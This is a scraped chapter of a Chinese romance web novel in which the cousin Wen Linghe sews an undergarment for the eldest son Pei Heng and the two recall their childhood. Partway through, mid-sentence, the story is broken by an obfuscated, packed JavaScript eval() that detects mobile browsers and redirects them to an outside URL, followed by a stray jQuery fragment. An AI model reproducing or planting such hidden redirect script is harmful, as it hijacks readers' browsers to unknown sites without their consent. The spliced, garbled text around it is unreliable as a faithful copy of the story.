文趣网 > 其他小说 > 表妹一心安闲 > 12. 悄然相盼,心绪难宁
    温令禾有些心虚地抱着那个箩筐,正不知道找个什么样的话题离开。

    裴珩忽而问了一句道,“若是难为情,或者觉着麻烦,可以放下不做。”

    温令禾站在那里,不知道该怎么做了。

    裴珩忽而又问了一句道,“你为什么道歉,你知道吗?”

    “二姑娘的作业,我不该帮着做的。”温令禾说到这里的时候,声音低低的,半天没有再说其他的。

    “只是作业的问题吗?”裴珩又问了一句,声音也比刚才高亢了很多,朝着她靠近了一步。

    温令禾不得不再次退后了一步,和裴珩保持了一段距离。

    “第一次送竹牌的时候,确实有准备长公子的,只是没有想到发到最后,竟然没有了......”温令禾再次把腰放低。这次其实确实是她的错。也难怪长公子会生气。

    “若是有心,怎么可能会发到最后没有我的?”

    长公子说完,温令禾便不再说这件事情了,她知道是她的问题,只得弯腰行礼道,“长公子,对不起了。”

    “没有其他的了吗?”

    裴珩问出这句话的时候,温令禾再次后退了一步,怎么可能会没有其他的事情呢?

    “上一次的藕粉桂花糖糕,其实是江南名吃,竟然被长公子退了回来......”温令禾说出这句话的时候,心中已经有答案了,只是她不想说出来。

    “我没有去过江南吗?府上的人采购常来常往江南,我若是想吃,不会让他们带来吗?我想要的是......”裴珩说到这里,便不再吭声了。

    裴珩即使是不吭声,温令禾也已经猜到了,猜到了之后,便不再吭声了。其实是不敢说出来吧。

    裴珩站在那里,明朗的脸上明显有了一些阴郁之色,只得点点头道,“想不出来,就好好的把这件衣服做好,亲自给我送过来。”

    温令禾没有再拒绝,施礼便离开了。

    她出门的时候,长公子一直送她到门口,她迈出静澜堂的时候,他就紧跟在她的身后。

    在她转头的那个瞬间里,猛然间看到身后的他,莫名的生出一种安全感。就像是儿时的她怕黑,晚上出来的时候,不经意的转头,他护在她的身后。

    那种莫名熟悉的感觉油然而生。

    “长公子,不用送了,您请回吧。”温令禾对着他施礼,告辞。

    裴珩根本就没有理她,擦着她的身子过去,径直去了后面的假山那里。

    温令禾站在那里,看着他的身影越走越远,直到消失在竹林处。她方才离开了静澜堂。

    拐过了前面的一处竹林,秋叶和裴知棠还有小厮朱安都站在那里。

    不知道为什么,看到这三人的时候,她忽然有一种无名之火。她和长公子好好的,又没有什么秘密的话语要说。他们跑什么呀?为什么要躲着?

    她正打算走过去,训斥他们几句,尤其是朱安,作为长公子的贴身的小厮,这个时候竟然也跑出去了。

    她拎起裙裾,朝前走了几步。

    哪知道,朱安像是看出了什么,对身边的两人打了一声招呼,便道,“小的还有一点事情,刚刚忘记了,现在走了。”

    朱安一溜烟的跑了,瞬间就不见了踪影了。

    温令禾无奈的看着他在她的视线里消失,又转头看着站在这里的两人,娇嗔道,“我和长公子在一起,又没有什么见不得人的,你们跑什么?”

    秋叶伸出一只手轻轻地拈着一朵花瓣,小声地道,“那谁知道?”

    秋叶的声音很小,即使是很小,不远处的温令禾也听得清清楚楚。她再次朝秋叶靠近了一步,问道,“秋叶,你说什么?”

    秋叶便不再吭声了,看着她手里抱着的箩筐,还有里面的一件亵衣,伸手接了过来。

    她神秘地笑着,就是不吭声了。

    裴知棠大大咧咧的,没有注意这些,她快步的上前,挎着温令禾的胳膊道,“表姐,怎么样了,大哥哥同意了吗?”

    “是的。”温令禾只是简单的说了两个字,其他的没有说。

    裴知棠挽着她的胳膊,脸色一下子就明媚了起来,道,“姐姐,你对我可是真好。”

    “你对我也好啊?”温令禾说完,再没有理她的话茬,两人一起朝着玉竹居走去。

    裴知棠大大咧咧的,满脑子都是她去王家看山中仙客的事情。快到玉竹居的时候,才想起了,道,“表姐,我看着你的箩筐里像是有一件衣服,那是谁的,大哥哥的吗?”

    温令禾微微的怔住,深知这样的事情别说是裴知棠了,就是丫环秋叶和秋红都帮不上忙,给她说了也没有什么意义,万一被她不小心说出来,到时候还会乱传。

    便摇摇头道,“那是别人的衣服,我拿来看看样子的。”

    裴知棠虽然觉着哪里不对劲,但是没有再问。只是道,“我猜大哥哥也不会随随便便让人缝制衣服,他的衣衫都是府上手艺极好的几个绣娘缝制的,就是有丝线搭配的不合适,他都不会穿。”

    正走路的温令禾,猛然间停住了,盯着她,疑惑道,“大哥哥穿衣如此的讲究吗?”

    裴知棠的脸色瞬间变得严肃起来,点点头道,“是的,大哥哥一直穿衣很严谨的,就如同他的人一般。裴府的五位姑娘里面,也就只有三姑娘雅雅会送一些手缝的东西给他,我们缝制的他都不会要。”

    温令禾轻颤着睫羽,这是什么情况?明知道她手艺不好,小的时候在府里的时候,她就不爱这些。

    既然如此讲究,她做好了他也不一定会穿,这是为了逗她玩吗?

    看着温令禾怔在那里,裴知棠狐疑地问了一句,“表姐,你没事吧?”

    温令禾赶紧摇摇头道,“没事,只是觉着好奇。”

    “大哥哥神秘的地方多着呢。”说完,她便笑了,拉着温令禾继续朝前走。便没有再说其他的事情。到了东跨院,裴知棠便带着兰花高兴地进了院子。

    快到西跨院门口处的时候,秋叶停了好几次,对着温令禾道,“小姐,长公子让您缝制亵衣,这是什么意思,这是看上您了,再一次来提亲吗?”

    温令禾站住,使劲地瞪了她两眼。

    秋叶跺着脚,站在那里再不吭声了。小姐的性子她也很

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17811109|210831||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    清楚,从静澜堂拿来长公子的亵衣,想必一切都想好了。

    回到西跨院以后,秋叶悄悄地把亵衣放到温令禾的床边,便没有敢吱声。

    院子里,有几个丫环婆子,怕她们传出去,倒是不知道又怎么编排她们家小姐,说不定勾搭长公子的话语又出来了。

    那几天的时间里,温令禾一直坐在屋子里缝制,好几次手被戳破了血,依然没有吱声。

    秋叶看到这里心疼,好几次走过去道,“小姐,我帮着缝制呗?”

    温令禾摇摇头道,“上一次做糕点的事情还记得吗?长公子眼尖,别人做的一眼就能看出来,到时候不知道怎么惩罚我们,孬好的,还是做上吧,反正他也不一定会穿。”

    秋叶叹息了一声,便没有再吭声。

    秋红也发现了几次,小姐坐在屋子里一个人在捯饬一件亵衣,也不说是谁的,她问了好几次,温令禾都没有回答,打算帮忙的时候,也被拒绝了。

    她没有办法,只得当做没有看见。

    最近几天府里一直在传着,就是温令禾帮着一个小姐作弊,被长公子惩罚了。

    虽然秋红不知道惩罚的是什么,但是她猜,应该和这件亵衣有关。

    小姐不说,她也便不再问了。

    转眼就到了十月初九,初十就是去丞相府参加十全节的日子了。

    温令禾手中的亵衣才刚刚缝制好,她等了一个上午,在巳时初的山坡上才遇到了长公子裴珩。

    她果然亲自送来了,还特意支开了秋红和秋叶两人。

    青葱的竹林旁边,裴珩迈着大步,昂首挺胸走来的时候,温令禾就这样迈着小碎步一下子拦截到了他的面前。

    裴珩猛然间怔住了,而后脸上有了些许隐隐的喜色道,“小禾,你怎么会在这里,有事情吗?”

    温令禾听到这个称呼的时候,脸色微微的红了。这个称呼有几年没有听到了。

    小的时候他就这么称呼她,现在依然是,听到这个称呼的时候,就会想到当年盛时的温府。心中有些眷恋。

    有时候,她喜欢这个称呼,脸红了。

    “长公子,衣服缝制好了,我亲自缝制的。”温令禾特意交代了一句。即使是她不说,裴珩也猜到了。

    别人一天就缝制好的衣衫,她用了六天。

    “你称呼我长公子?”他没有直接说衣服的问题,而是拐到了称呼上来了。

    儿时他称呼她‘小禾’,她跟在他的身后称呼他‘大珩子’。

    只是那都是很遥远的事情了,这六年里发生了太多的事情,像是隔了一个遥远的世纪了。

    之前的事情她不想再提起了。他这样提起的时候,她没有丝毫的回应。很明显,她想和过去做一个切割了。

    之前第一次提亲的时候,温府拒绝了。现在再次相见,她根本没有那个意思。

    就是府上传得再欢,她依然没有那个想法。

    想到这里以后,裴珩的心瞬间寒了一下。纵使今天的温府落寞,他依然认为自己配不上她。

    那件事情,他必须尽快去做,让她名正言顺的站起来。